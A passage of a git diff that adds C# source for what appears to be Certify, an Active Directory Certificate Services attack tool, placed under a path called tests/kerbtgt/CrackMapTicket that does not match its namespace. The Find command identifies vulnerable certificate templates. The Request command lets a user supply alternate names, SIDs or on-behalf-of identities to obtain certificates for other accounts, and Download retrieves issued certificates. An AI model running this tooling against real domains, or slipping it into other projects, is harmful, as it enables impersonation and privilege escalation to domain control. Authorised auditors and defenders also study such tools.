(webServices.EnrollmentWebServiceUrls.Any()) + { + var str = $"Enrollment Web Service : " + + string.Join($"\n{urlIndent}", webServices.EnrollmentWebServiceUrls); + Console.WriteLine(indent + str); + } + + if (webServices.EnrollmentPolicyWebServiceUrls.Any()) + { + var str = $"Enrollment Policy Web Service : " + + string.Join($"\n{urlIndent}", webServices.EnrollmentPolicyWebServiceUrls); + Console.WriteLine(indent + str); + } + + if (webServices.NetworkDeviceEnrollmentServiceUrls.Any()) + { + var str = $"NDES Web Service : " + + string.Join($"\n{urlIndent}", webServices.NetworkDeviceEnrollmentServiceUrls); + Console.WriteLine(indent + str); + } + } + } +} \ No newline at end of file diff --git a/tests/kerbtgt/CrackMapTicket/Commands/Download.cs b/tests/kerbtgt/CrackMapTicket/Commands/Download.cs new file mode 100644 index 0000000..f7dc6b9 --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/Commands/Download.cs @@ -0,0 +1,68 @@ +using CERTENROLLLib; +using System; +using System.Collections.Generic; + +namespace Certify.Commands +{ + public class Download : ICommand + { + public static string CommandName => "download"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Download a Certificates"); + + string CA; + var install = arguments.ContainsKey("/install"); + + if (arguments.ContainsKey("/ca")) + { + CA = arguments["/ca"]; + if (!CA.Contains("\\")) + { + Console.WriteLine("[X] /ca format of SERVER\\CA-NAME required, you may need to specify \\\\ for escaping purposes"); + return; + } + } + else + { + Console.WriteLine("[X] A /ca:CA is required! (format SERVER\\CA-NAME)"); + return; + } + + if (!arguments.ContainsKey("/id")) + { + Console.WriteLine("[X] A certificate /id:X is required!"); + return; + } + + if (!int.TryParse(arguments["/id"], out var requestId)) + { + Console.WriteLine("[X] Invalid certificate ID format: {0}", arguments["/id"]); + return; + } + + Console.WriteLine($"[*] Certificates Authority : {CA}"); + Console.WriteLine($"[*] Request ID : {requestId}"); + + // download the certificate from the CA + string certPemString; + if (install) + { + var context = arguments.ContainsKey("/computer") || arguments.ContainsKey("/machine") + ? X509CertificateEnrollmentContext.ContextMachine + : X509CertificateEnrollmentContext.ContextUser; + + certPemString = Cert.DownloadAndInstallCert(CA, requestId, context); + } + else + { + certPemString = Cert.DownloadCert(CA, requestId); + } + + // display everything + Console.WriteLine($"\r\n[*] cert.pem :\r\n"); + Console.WriteLine(certPemString); + } + } +} \ No newline at end of file diff --git a/tests/kerbtgt/CrackMapTicket/Commands/Find.cs b/tests/kerbtgt/CrackMapTicket/Commands/Find.cs new file mode 100644 index 0000000..ccd74a0 --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/Commands/Find.cs @@ -0,0 +1,758 @@ +using System; +using System.Collections.Generic; +using System.DirectoryServices; +using System.Linq; +using System.Security.Cryptography; +using System.Security.Principal; +using System.Text; +using System.Web.Script.Serialization; +using Certify.Domain; +using Certify.Lib; +using static Certify.Lib.DisplayUtil; + +namespace Certify.Commands +{ + class ResultDTO + { + // used for JSON serialization + public Dictionary Meta { get; } + public ResultDTO(string type, int count) + { + Meta = new Dictionary() + { + { "type", type }, + { "count", count }, + { "version", 3 } + }; + } + } + + class CAResultDTO : ResultDTO + { + // used for JSON serialization + public List CertificateAuthorities { get; } + public CAResultDTO(List certificateAuthorities) + : base("certificateauthorities", certificateAuthorities.Count) + { + CertificateAuthorities = certificateAuthorities; + } + } + + class TemplateResultDTO : ResultDTO + { + // used for JSON serialization + public List CertificateTemplates { get; } + public TemplateResultDTO(List certificateTemplates) + : base("certificatetemplates", certificateTemplates.Count) + { + CertificateTemplates = certificateTemplates; + } + } + + public enum FindFilter + { + None, + Vulnerable, + VulnerableCurrentUser, + EnrolleeSuppliesSubject, + ClientAuth + } + + public class Find : ICommand + { + public static string CommandName => "find"; + private bool _hideAdmins; + private bool _showAllPermissions; + private bool _outputJSON; + private string? _certificateAuthority = null; + private string? _domain = null; + private string? _ldapServer = null; + private FindFilter _findFilter = FindFilter.None; + + public void Execute(Dictionary arguments) + { + if (!arguments.ContainsKey("/json")) + Console.WriteLine("[*] Action: Find certificate templates"); + + if (arguments.ContainsKey("/domain")) + { + _domain = arguments["/domain"]; + if (!_domain.Contains(".")) + { + Console.WriteLine("[!] /domain:X must be a FQDN"); + return; + } + } + + if (arguments.ContainsKey("/ldapserver")) + { + _ldapServer = arguments["/ldapserver"]; + } + + if (arguments.ContainsKey("/ca")) + { + _certificateAuthority = arguments["/ca"]; + } + + if (arguments.ContainsKey("/vulnerable")) + { + if (arguments.ContainsKey("/currentuser")) + { + _findFilter = FindFilter.VulnerableCurrentUser; + Console.WriteLine("[*] Using current user's unrolled group SIDs for vulnerability checks."); + } + else + { + _findFilter = FindFilter.Vulnerable; + } + } + + if (arguments.ContainsKey("/enrolleeSuppliesSubject")) + { + _findFilter = FindFilter.EnrolleeSuppliesSubject; + } + + if (arguments.ContainsKey("/clientauth")) + { + _findFilter = FindFilter.ClientAuth; + } + + if (arguments.ContainsKey("/json")) + { + _outputJSON = true; + } + + _hideAdmins = arguments.ContainsKey("/hideAdmins"); + _showAllPermissions = arguments.ContainsKey("/showAllPermissions"); + + + FindTemplates(_outputJSON); + } + + + public void FindTemplates(bool outputJSON = false) + { + var ldap = new LdapOperations(new LdapSearchOptions() + { + Domain = _domain, LdapServer = _ldapServer + }); + + if (!outputJSON) + Console.WriteLine($"[*] Using the search base '{ldap.ConfigurationPath}'"); + + if (!string.IsNullOrEmpty(_certificateAuthority)) + { + if (!outputJSON) + Console.WriteLine($"[*] Restricting to CA name : {_certificateAuthority}"); + } + + // get all of our current SIDs + var ident = WindowsIdentity.GetCurrent(); + var currentUserSids = ident.Groups.Select(o => o.ToString()).ToList(); + currentUserSids.Add($"{ident.User}"); // make sure we get our current SID + + // enumerate information about every CA object + var cas = ldap.GetEnterpriseCAs(_certificateAuthority); + + // used for JSON serialization + var caDTOs = new List(); + + if (!cas.Any()) + { + Console.WriteLine(!outputJSON + ? "[!] There are no enterprise CAs and therefore no one can request certificates. Stopping..." + : "{\"Error\": \"There are no enterprise CAs and therefore no one can request certificates.\"}"); + + return; + } + + foreach (var ca in cas) + { + if (!outputJSON) + { + Console.WriteLine($"\n[*] Listing info about the Enterprise CA '{ca.Name}'\n"); + if (_findFilter == FindFilter.VulnerableCurrentUser) + { + PrintEnterpriseCaInfo(ca, _hideAdmins, _showAllPermissions, currentUserSids); + } + else + { + PrintEnterpriseCaInfo(ca, _hideAdmins, _showAllPermissions); + } + } + else + { + // transform the CA object into a DTO + caDTOs.Add(new EnterpriseCertificateAuthorityDTO(ca)); + } + } + + // enumerate information about all available templates + var templates = ldap.GetCertificateTemplates(); + + if (!outputJSON) + { + if (!templates.Any()) + { + Console.WriteLine("\n[!] No available templates found!\n"); + return; + } + + // display templates based on our search filter + switch (_findFilter) + { + case FindFilter.None: + ShowAllTemplates(templates, cas); + break; + case FindFilter.Vulnerable: + ShowVulnerableTemplates(templates, cas); + break; + case FindFilter.VulnerableCurrentUser: + ShowVulnerableTemplates(templates, cas, currentUserSids); + break; + case FindFilter.EnrolleeSuppliesSubject: + ShowTemplatesWithEnrolleeSuppliesSubject(templates, cas); + break; + case FindFilter.ClientAuth: + ShowTemplatesAllowingClientAuth(templates, cas); + break; + default: + throw new ArgumentOutOfRangeException("_findFilter"); + } + } + else + { + var publishedTemplateNames = ( + from t in templates + where t.Name != null && cas.Any(ca => ca.Templates != null && ca.Templates.Contains(t.Name)) + select $"{t.Name}").Distinct().ToArray(); + + var templateDTOs = + (from template in templates + where template.Name != null && publishedTemplateNames.Contains(template.Name) + select new CertificateTemplateDTO(template)) + .ToList(); + + // TODO: how to implement this in LINQ? + + var result = new List() + { + new CAResultDTO(caDTOs), + new TemplateResultDTO(templateDTOs) + }; + + var json = new JavaScriptSerializer(); + var jsonStr = json.Serialize(result); + Console.WriteLine(jsonStr); + } + } + + + private void PrintCertTemplate(EnterpriseCertificateAuthority ca, CertificateTemplate template) + { + Console.WriteLine($" CA Name : {ca.FullName}"); + Console.WriteLine($" Template Name : {template.Name}"); + Console.WriteLine($" Schema Version : {template.SchemaVersion}"); + Console.WriteLine($" Validity Period : {template.ValidityPeriod}"); + Console.WriteLine($" Renewal Period : {template.RenewalPeriod}"); + Console.WriteLine($" msPKI-Certificate-Name-Flag : {template.CertificateNameFlag}"); + Console.WriteLine($" mspki-enrollment-flag : {template.EnrollmentFlag}"); + Console.WriteLine($" Authorized Signatures Required : {template.AuthorizedSignatures}"); + if (template.RaApplicationPolicies != null && template.RaApplicationPolicies.Any()) + { + var applicationPolicyFriendNames = template.RaApplicationPolicies + .Select(o => ((new Oid(o)).FriendlyName)) + .OrderBy(s => s) + .ToArray(); + Console.WriteLine($" Application Policies : {string.Join(", ", applicationPolicyFriendNames)}"); + } + if (template.IssuancePolicies != null && template.IssuancePolicies.Any()) + { + var issuancePolicyFriendNames = template.IssuancePolicies + .Select(o => ((new Oid(o)).FriendlyName)) + .OrderBy(s => s) + .ToArray(); + Console.WriteLine($" Issuance Policies : {string.Join(", ", issuancePolicyFriendNames)}"); + } + + var oidFriendlyNames = template.ExtendedKeyUsage == null + ? new[] { "" } + : template.ExtendedKeyUsage.Select(o => ((new Oid(o)).FriendlyName)) + .OrderBy(s => s) + .ToArray(); + Console.WriteLine($" pkiextendedkeyusage : {string.Join(", ", oidFriendlyNames)}"); + + var certificateApplicationPolicyFriendlyNames = template.ApplicationPolicies == null + ? new[] { "" } + : template.ApplicationPolicies.Select(o => ((new Oid(o)).FriendlyName)) + .OrderBy(s => s) + .ToArray(); + Console.WriteLine($" mspki-certificate-application-policy : {string.Join(", ", certificateApplicationPolicyFriendlyNames)}"); + + Console.WriteLine(" Permissions"); + if (template.SecurityDescriptor == null) + { + Console.WriteLine(" Security descriptor is null"); + } + else + { + if (_showAllPermissions) + PrintAllPermissions(template.SecurityDescriptor); + else + PrintAllowPermissions(template.SecurityDescriptor); + } + + Console.WriteLine(); + } + + private void PrintAllowPermissions(ActiveDirectorySecurity sd) + { + var ownerSid = sd.GetOwner(typeof(SecurityIdentifier)); + var ownerName = $"{GetUserSidString(ownerSid.ToString())}"; + + var enrollmentPrincipals = new List(); + var allExtendedRightsPrincipals = new List(); + var fullControlPrincipals = new List(); + var writeOwnerPrincipals = new List(); + var writeDaclPrincipals = new List(); + var writePropertyPrincipals = new List(); + + var rules = sd.GetAccessRules(true, true, typeof(SecurityIdentifier)); + foreach (ActiveDirectoryAccessRule rule in rules) + { + if ($"{rule.AccessControlType}" != "Allow") + continue; + + var sid = rule.IdentityReference.ToString(); + if (_hideAdmins && IsAdminSid(sid)) + continue; + + if ((rule.ActiveDirectoryRights & ActiveDirectoryRights.ExtendedRight) == ActiveDirectoryRights.ExtendedRight) + { + // 0e10c968-78fb-11d2-90d4-00c04f79dc55 -> Certificates-Enrollment right + // a05b8cc2-17bc-4802-a710-e7c15ab866a2 -> Certificates-AutoEnrollment right (not acutally used during enrollment) + // 00000000-0000-0000-0000-000000000000 -> all extended rights + switch ($"{rule.ObjectType}") + { + case "0e10c968-78fb-11d2-90d4-00c04f79dc55": + enrollmentPrincipals.Add(GetUserSidString(sid)); + break; + case "00000000-0000-0000-0000-000000000000": + allExtendedRightsPrincipals.Add(GetUserSidString(sid)); + break; + } + } + if ((rule.ActiveDirectoryRights & ActiveDirectoryRights.GenericAll) == ActiveDirectoryRights.GenericAll) + { + fullControlPrincipals.Add(GetUserSidString(sid)); + } + if ((rule.ActiveDirectoryRights & ActiveDirectoryRights.WriteOwner) == ActiveDirectoryRights.WriteOwner) + { + writeOwnerPrincipals.Add(GetUserSidString(sid)); + } + if ((rule.ActiveDirectoryRights & ActiveDirectoryRights.WriteDacl) == ActiveDirectoryRights.WriteDacl) + { + writeDaclPrincipals.Add(GetUserSidString(sid)); + } + if ((rule.ActiveDirectoryRights & ActiveDirectoryRights.WriteProperty) == ActiveDirectoryRights.WriteProperty && $"{rule.ObjectType}" == "00000000-0000-0000-0000-000000000000") + { + writePropertyPrincipals.Add(GetUserSidString(sid)); + } + } + + Console.WriteLine($" Enrollment Permissions"); + + + if (enrollmentPrincipals.Count > 0) + { + var sbEP = new StringBuilder(); + enrollmentPrincipals + .OrderBy(p => p) + .ToList() + .ForEach(p => { sbEP.Append($"{p}\n "); }); + Console.WriteLine($" Enrollment Rights : {sbEP.ToString().Trim()}"); + } + + if (allExtendedRightsPrincipals.Count > 0) + { + var sbAER = new StringBuilder(); + allExtendedRightsPrincipals + .OrderBy(p => p) + .ToList() + .ForEach(p => { sbAER.Append($"{p}\n "); }); + Console.WriteLine($" All Extended Rights : {sbAER.ToString().Trim()}"); + } + + Console.WriteLine(" Object Control Permissions"); + + if (!(_hideAdmins && IsAdminSid(ownerSid.ToString()))) + Console.WriteLine($" Owner : {ownerName}"); + + if (fullControlPrincipals.Count > 0) + { + var sbGA = new StringBuilder(); + fullControlPrincipals + .OrderBy(p => p) + .ToList() + .ForEach(p => { sbGA.Append($"{p}\n "); }); + Console.WriteLine($" Full Control Principals : {sbGA.ToString().Trim()}"); + } + + if (writeOwnerPrincipals.Count > 0) + { + var sbWO = new StringBuilder(); + writeOwnerPrincipals + .OrderBy(p => p) + .ToList() + .ForEach(p => { sbWO.Append($"{p}\n "); }); + Console.WriteLine($" WriteOwner Principals : {sbWO.ToString().Trim()}"); + } + + if (writeDaclPrincipals.Count > 0) + { + var sbWD = new StringBuilder(); + writeDaclPrincipals + .OrderBy(p => p) + .ToList() + .ForEach(p => { sbWD.Append($"{p}\n "); }); + Console.WriteLine($" WriteDacl Principals : {sbWD.ToString().Trim()}"); + } + + if (writePropertyPrincipals.Count > 0) + { + var sbWP = new StringBuilder(); + writePropertyPrincipals + .OrderBy(p => p) + .ToList() + .ForEach(p => { sbWP.Append($"{p}\n "); }); + Console.WriteLine($" WriteProperty Principals : {sbWP.ToString().Trim()}"); + } + } + + private void PrintAllPermissions(ActiveDirectorySecurity sd) + { + var ownerSid = sd.GetOwner(typeof(SecurityIdentifier)); + var ownerStr = GetUserSidString(ownerSid.ToString()); + var aces = sd.GetAccessRules(true, true, typeof(SecurityIdentifier)); + + + Console.WriteLine($"\n Owner: {ownerStr}\n"); + Console.WriteLine( + " AccessControlType|PrincipalSid|PrincipalName|ActiveDirectoryRights|ObjectType|ObjectFlags|InheritanceType|InheritedObjectType|InheritanceFlags|IsInherited|PropagationFlags"); + + foreach (ActiveDirectoryAccessRule ace in aces) + { + var objectTypeString = ConvertGuidToName(ace.ObjectType.ToString()) ?? ace.ObjectType.ToString(); + var inheritedObjectTypeString = ConvertGuidToName(ace.InheritedObjectType.ToString()) ?? ace.InheritedObjectType.ToString(); + var principalName = ConvertSidToName(ace.IdentityReference.Value); + + Console.WriteLine( + $" {ace.AccessControlType}|{ace.IdentityReference}|{principalName}|{ace.ActiveDirectoryRights}|{objectTypeString}|{ace.ObjectFlags}|{ace.InheritanceType}|{inheritedObjectTypeString}|{ace.InheritanceFlags}|{ace.IsInherited}|{ace.PropagationFlags}"); + } + } + + private string? ConvertGuidToName(string guid) + { + return guid switch + { + "0e10c968-78fb-11d2-90d4-00c04f79dc55" => "Enrollment", + "a05b8cc2-17bc-4802-a710-e7c15ab866a2" => "AutoEnrollment", + "00000000-0000-0000-0000-000000000000" => "All", + _ => null + }; + } + + private string? ConvertSidToName(string sid) + { + try + { + var sidObj = new SecurityIdentifier(sid); + return sidObj.Translate(typeof(NTAccount)).ToString(); + } + catch + { + } + + return null; + } + + + private void ShowTemplatesWithEnrolleeSuppliesSubject(IEnumerable templates, IEnumerable cas) + { + Console.WriteLine("Enabled certificate templates where users can supply a SAN:"); + + foreach (var template in templates) + { + if (template.Name == null) + { + Console.WriteLine(" Warning: Found a template, but could not get its name. Ignoring it."); + continue; + } + + foreach (var ca in cas) + { + if (ca.Templates != null && !ca.Templates.Contains(template.Name)) // check if this CA has this template enabled + continue; + + if (template.CertificateNameFlag != null && !((msPKICertificateNameFlag)template.CertificateNameFlag).HasFlag(msPKICertificateNameFlag.ENROLLEE_SUPPLIES_SUBJECT)) + continue; + + PrintCertTemplate(ca, template); + } + } + } + + private void ShowTemplatesAllowingClientAuth(IEnumerable templates, IEnumerable cas) + { + Console.WriteLine("Enabled certificate templates capable of client authentication:"); + + foreach (var template in templates) + { + if (template.Name == null) + { + Console.WriteLine($" Warning: Unable to get the name of the template '{template.DistinguishedName}'. Ignoring it."); + continue; + } + + foreach (var ca in cas) + { + if (ca.Templates != null && !ca.Templates.Contains(template.Name)) // check if this CA has this template enabled + continue; + + var hasAuthenticationEku = + template.ExtendedKeyUsage != null && + (template.ExtendedKeyUsage.Contains(CommonOids.SmartcardLogon) || + template.ExtendedKeyUsage.Contains(CommonOids.ClientAuthentication) || + template.ExtendedKeyUsage.Contains(CommonOids.PKINITClientAuthentication)); + + if (hasAuthenticationEku) + PrintCertTemplate(ca, template); + } + } + } + + private void ShowAllTemplates(IEnumerable templates, IEnumerable cas) + { + Console.WriteLine("\n[*] Available Certificates Templates :\n"); + + foreach (var template in templates) + { + if (template.Name == null) + { + Console.WriteLine($" Warning: Unable to get the name of the template '{template.DistinguishedName}'. Ignoring it."); + continue; + } + + foreach (var ca in cas) + { + if (ca.Templates != null && !ca.Templates.Contains(template.Name)) // check if this CA has this template enabled + continue; + + PrintCertTemplate(ca, template); + } + } + } + + private void ShowVulnerableTemplates(IEnumerable templates, IEnumerable cas, List? currentUserSids = null) + { + foreach (var t in templates.Where(t => t.Name == null)) + { + Console.WriteLine($"[!] Warning: Could not get the name of the template {t.DistinguishedName}. Analysis will be incomplete as a result."); + } + + var unusedTemplates = ( + from t in templates + where t.Name != null && !cas.Any(ca => ca.Templates != null && ca.Templates.Contains(t.Name)) && IsCertificateTemplateVulnerable(t) + select $"{t.Name}").ToArray(); + + var vulnerableTemplates = ( + from t in templates + where t.Name != null && cas.Any(ca => ca.Templates != null && ca.Templates.Contains(t.Name)) && IsCertificateTemplateVulnerable(t) + select $"{t.Name}").ToArray(); + + if (unusedTemplates.Any()) + { + Console.WriteLine("\n[!] Vulnerable certificate templates that exist but an Enterprise CA does not publish:\n"); + Console.WriteLine($" {string.Join("\n ", unusedTemplates)}\n"); + } + + Console.WriteLine(!vulnerableTemplates.Any() + ? "\n[+] No Vulnerable Certificates Templates found!\n" + : "\n[!] Vulnerable Certificates Templates :\n"); + + foreach (var template in templates) + { + if (!IsCertificateTemplateVulnerable(template, currentUserSids)) + continue; + + foreach (var ca in cas) + { + if (ca.Templates == null) + { + Console.WriteLine($" Warning: Unable to get the published templates on the CA {ca.DistinguishedName}. Ignoring it..."); + continue; + } + if (template.Name == null) + { + Console.WriteLine($" Warning: Unable to get the name of the template {template.DistinguishedName}. Ignoring it..."); + continue; + } + + if (!ca.Templates.Contains(template.Name)) // check if this CA has this template enabled + continue; + + PrintCertTemplate(ca, template); + } + } + } + + private bool IsCertificateTemplateVulnerable(CertificateTemplate template, List? currentUserSids = null) + { + if (template.SecurityDescriptor == null) + throw new NullReferenceException($"Could not get the security descriptor for the template '{template.DistinguishedName}'"); + + var ownerSID = $"{template.SecurityDescriptor.GetOwner(typeof(SecurityIdentifier)).Value}"; + + if (currentUserSids == null) + { + // Check 1) is the owner a low-privileged user? + if (IsLowPrivSid(ownerSID)) + { + return true; + } + } + else + { + // Check 1) is the owner is a principal we're nested into + if (currentUserSids.Contains(ownerSID)) + { + return true; + } + } + + // Check misc) Can low privileged users/the current user enroll? + var lowPrivilegedUsersCanEnroll = false; + + // Check 2) do low-privileged users/the current user have edit rights over the template? + var vulnerableACL = false; + foreach (ActiveDirectoryAccessRule rule in template.SecurityDescriptor.GetAccessRules(true, true, typeof(SecurityIdentifier))) + { + if (currentUserSids == null) + { + // check for low-privileged control relationships + if ( + ($"{rule.AccessControlType}" == "Allow") + && (IsLowPrivSid(rule.IdentityReference.Value.ToString())) + && ( + ((rule.ActiveDirectoryRights & ActiveDirectoryRights.GenericAll) == ActiveDirectoryRights.GenericAll) + || ((rule.ActiveDirectoryRights & ActiveDirectoryRights.WriteOwner) == ActiveDirectoryRights.WriteOwner) + || ((rule.ActiveDirectoryRights & ActiveDirectoryRights.WriteDacl) == ActiveDirectoryRights.WriteDacl) + || ((rule.ActiveDirectoryRights & ActiveDirectoryRights.WriteProperty) == ActiveDirectoryRights.WriteProperty && $"{rule.ObjectType}" == "00000000-0000-0000-0000-000000000000") + ) + ) + { + vulnerableACL = true; + } + // check for low-privileged enrollment + else if ( + ($"{rule.AccessControlType}" == "Allow") + && (IsLowPrivSid(rule.IdentityReference.Value.ToString())) + && ( + ((rule.ActiveDirectoryRights & ActiveDirectoryRights.ExtendedRight) == ActiveDirectoryRights.ExtendedRight) + && ( + $"{rule.ObjectType}" == "0e10c968-78fb-11d2-90d4-00c04f79dc55" + || $"{rule.ObjectType}" == "00000000-0000-0000-0000-000000000000" + ) + ) + ) + { + lowPrivilegedUsersCanEnroll = true; + } + } + else + { + // check for current-user control relationships + if ( + ($"{rule.AccessControlType}" == "Allow") + && (currentUserSids.Contains(rule.IdentityReference.Value.ToString())) + && ( + ((rule.ActiveDirectoryRights & ActiveDirectoryRights.GenericAll) == ActiveDirectoryRights.GenericAll) + || ((rule.ActiveDirectoryRights & ActiveDirectoryRights.WriteOwner) == ActiveDirectoryRights.WriteOwner) + || ((rule.ActiveDirectoryRights & ActiveDirectoryRights.WriteDacl) == ActiveDirectoryRights.WriteDacl) + || ((rule.ActiveDirectoryRights & ActiveDirectoryRights.WriteProperty) == ActiveDirectoryRights.WriteProperty && $"{rule.ObjectType}" == "00000000-0000-0000-0000-000000000000") + ) + ) + { + vulnerableACL = true; + } + + // check for current-user enrollment + if ( + ($"{rule.AccessControlType}" == "Allow") + && (currentUserSids.Contains(rule.IdentityReference.Value.ToString())) + && ( + ((rule.ActiveDirectoryRights & ActiveDirectoryRights.ExtendedRight) == ActiveDirectoryRights.ExtendedRight) + && ( + $"{rule.ObjectType}" == "0e10c968-78fb-11d2-90d4-00c04f79dc55" + || $"{rule.ObjectType}" == "00000000-0000-0000-0000-000000000000" + ) + ) + ) + { + lowPrivilegedUsersCanEnroll = true; + } + } + + } + + if (vulnerableACL) + { + return true; + } + + + // Check 3) Is manager approval enabled? + var requiresManagerApproval = template.EnrollmentFlag != null && ((msPKIEnrollmentFlag)template.EnrollmentFlag).HasFlag(msPKIEnrollmentFlag.PEND_ALL_REQUESTS); + if (requiresManagerApproval) return false; + + // Check 4) Are there now authorized signatures required? + if (template.AuthorizedSignatures > 0) return false; + + + // Check 5) If a low priv'ed user can request a cert with EKUs used for authentication and ENROLLEE_SUPPLIES_SUBJECT is enabled, then privilege escalation is possible + var enrolleeSuppliesSubject = template.CertificateNameFlag != null && ((msPKICertificateNameFlag)template.CertificateNameFlag).HasFlag(msPKICertificateNameFlag.ENROLLEE_SUPPLIES_SUBJECT); + var hasAuthenticationEku = + template.ExtendedKeyUsage != null && + (template.ExtendedKeyUsage.Contains(CommonOids.SmartcardLogon) || + template.ExtendedKeyUsage.Contains(CommonOids.ClientAuthentication) || + template.ExtendedKeyUsage.Contains(CommonOids.PKINITClientAuthentication)); + + if (lowPrivilegedUsersCanEnroll && enrolleeSuppliesSubject && hasAuthenticationEku) return true; + + + // Check 6) If a low priv'ed user can request a cert with any of these EKUs (or no EKU), then privilege escalation is possible + var hasDangerousEku = + template.ExtendedKeyUsage == null + || !template.ExtendedKeyUsage.Any() // No EKUs == Any Purpose + || template.ExtendedKeyUsage.Contains(CommonOids.AnyPurpose) + || template.ExtendedKeyUsage.Contains(CommonOids.CertificateRequestAgent) + || (template.ApplicationPolicies != null && template.ApplicationPolicies.Contains(CommonOids.CertificateRequestAgentPolicy)); + + if (lowPrivilegedUsersCanEnroll && hasDangerousEku) return true; + + + // Check 7) Does a certificate contain the DISABLE_EMBED_SID_OID flag + DNS and DNS SAN flags + if ( template.CertificateNameFlag==null || template.EnrollmentFlag == null) { + return false; + } + + if((((msPKICertificateNameFlag)template.CertificateNameFlag).HasFlag(msPKICertificateNameFlag.SUBJECT_ALT_REQUIRE_DNS) + || ((msPKICertificateNameFlag)template.CertificateNameFlag).HasFlag(msPKICertificateNameFlag.SUBJECT_REQUIRE_DNS_AS_CN)) + && ((msPKIEnrollmentFlag)template.EnrollmentFlag).HasFlag(msPKIEnrollmentFlag.NO_SECURITY_EXTENSION)) { + return true; + } + + return false; + } + } +} diff --git a/tests/kerbtgt/CrackMapTicket/Commands/ICommand.cs b/tests/kerbtgt/CrackMapTicket/Commands/ICommand.cs new file mode 100644 index 0000000..ede1312 --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/Commands/ICommand.cs @@ -0,0 +1,9 @@ +using System.Collections.Generic; + +namespace Certify.Commands +{ + public interface ICommand + { + void Execute(Dictionary arguments); + } +} \ No newline at end of file diff --git a/tests/kerbtgt/CrackMapTicket/Commands/PKIObjects.cs b/tests/kerbtgt/CrackMapTicket/Commands/PKIObjects.cs new file mode 100644 index 0000000..5bfd335 --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/Commands/PKIObjects.cs @@ -0,0 +1,58 @@ +using System; +using System.Collections.Generic; +using System.DirectoryServices; +using System.Linq; +using System.Security.Principal; +using Certify.Domain; +using Certify.Lib; + +namespace Certify.Commands +{ + public class PKIObjects : ICommand + { + public static string CommandName => "pkiobjects"; + private LdapOperations _ldap = new LdapOperations(); + private bool hideAdmins; + private string? domain; + private string? ldapServer; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Find PKI object controllers"); + + hideAdmins = !arguments.ContainsKey("/showAdmins"); + + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + if (!domain.Contains(".")) + { + Console.WriteLine("[!] /domain:X must be a FQDN"); + return; + } + } + + if (arguments.ContainsKey("/ldapserver")) + { + ldapServer = arguments["/ldapserver"]; + } + + _ldap = new LdapOperations(new LdapSearchOptions() + { + Domain = domain, LdapServer = ldapServer + }); + + Console.WriteLine($"[*] Using the search base '{_ldap.ConfigurationPath}'"); + + DisplayPKIObjectControllers(); + } + + private void DisplayPKIObjectControllers() + { + Console.WriteLine("\n[*] PKI Object Controllers:"); + var pkiObjects = _ldap.GetPKIObjects(); + + DisplayUtil.PrintPKIObjectControllers(pkiObjects, hideAdmins); + } + } +} diff --git a/tests/kerbtgt/CrackMapTicket/Commands/Request.cs b/tests/kerbtgt/CrackMapTicket/Commands/Request.cs new file mode 100644 index 0000000..9cdc6b3 --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/Commands/Request.cs @@ -0,0 +1,107 @@ +using System; +using System.Collections.Generic; + +namespace Certify.Commands +{ + public class Request : ICommand + { + public static string CommandName => "request"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Request a Certificates"); + + var CA = ""; + var subject = ""; + var altName = ""; + var url = ""; + var sidExtension = ""; + var template = "User"; + var machineContext = false; + var install = false; + + if (arguments.ContainsKey("/ca")) + { + CA = arguments["/ca"]; + if (!CA.Contains("\\")) + { + Console.WriteLine("[X] /ca format of SERVER\\CA-NAME required, you may need to specify \\\\ for escaping purposes"); + return; + } + } + else + { + Console.WriteLine("[X] A /ca:CA is required! (format SERVER\\CA-NAME)"); + return; + } + + if (arguments.ContainsKey("/template")) + { + template = arguments["/template"]; + } + + if (arguments.ContainsKey("/subject")) + { + subject = arguments["/subject"]; + } + + if (arguments.ContainsKey("/altname")) + { + altName = arguments["/altname"]; + } + + if (arguments.ContainsKey("/url")) + { + url = arguments["/url"]; + } + + if(arguments.ContainsKey("/sidextension")) + { + sidExtension = arguments["/sidextension"]; + } + if (arguments.ContainsKey("/sid")) + { + sidExtension = arguments["/sid"]; + } + + if (arguments.ContainsKey("/install")) + { + install = true; + } + + if (arguments.ContainsKey("/computer") || arguments.ContainsKey("/machine")) + { + if (template == "User") + { + template = "Machine"; + } + machineContext = true; + } + + if (arguments.ContainsKey("/onbehalfof")) + { + if (!arguments.ContainsKey("/enrollcert") || String.IsNullOrEmpty(arguments["/enrollcert"])) + { + Console.WriteLine("[X] /enrollcert parameter missing. Issued Enrollment/Certificates Request Agent certificate required!"); + return; + } + + var enrollCertPassword = arguments.ContainsKey("/enrollcertpw") + ? arguments["/enrollcertpw"] + : ""; + + if (!arguments["/onbehalfof"].Contains("\\")) + { + Console.WriteLine("[X] /onbehalfof format of DOMAIN\\USER required, you may need to specify \\\\ for escaping purposes"); + return; + } + + Cert.RequestCertOnBehalf(CA, template, arguments["/onbehalfof"], arguments["/enrollcert"], enrollCertPassword, machineContext); + } + else + { + Cert.RequestCert(CA, machineContext, template, subject, altName, url, sidExtension, install); + } + } + } +} \ No newline at end of file diff --git a/tests/kerbtgt/CrackMapTicket/Domain/ADObject.cs b/tests/kerbtgt/CrackMapTicket/Domain/ADObject.cs new file mode 100644 index 0000000..aeaf518 --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/Domain/ADObject.cs @@ -0,0 +1,15 @@ +using System.DirectoryServices; + +namespace Certify.Domain +{ + public class ADObject + { + public string DistinguishedName { get; set; } + public ActiveDirectorySecurity? SecurityDescriptor { get; set; } + public ADObject(string distinguishedName, ActiveDirectorySecurity? securityDescriptor) + { + DistinguishedName = distinguishedName; + SecurityDescriptor = securityDescriptor; + } + } +} diff --git a/tests/kerbtgt/CrackMapTicket/Domain/CertificateAuthority.cs b/tests/kerbtgt/CrackMapTicket/Domain/CertificateAuthority.cs new file mode 100644 index 0000000..7e068af --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/Domain/CertificateAuthority.cs @@ -0,0 +1,88 @@ +using System; +using System.Collections.Generic; +using System.DirectoryServices; +using System.Linq; +using System.Security.Cryptography.X509Certificates; + +namespace Certify.Domain +{ + // From 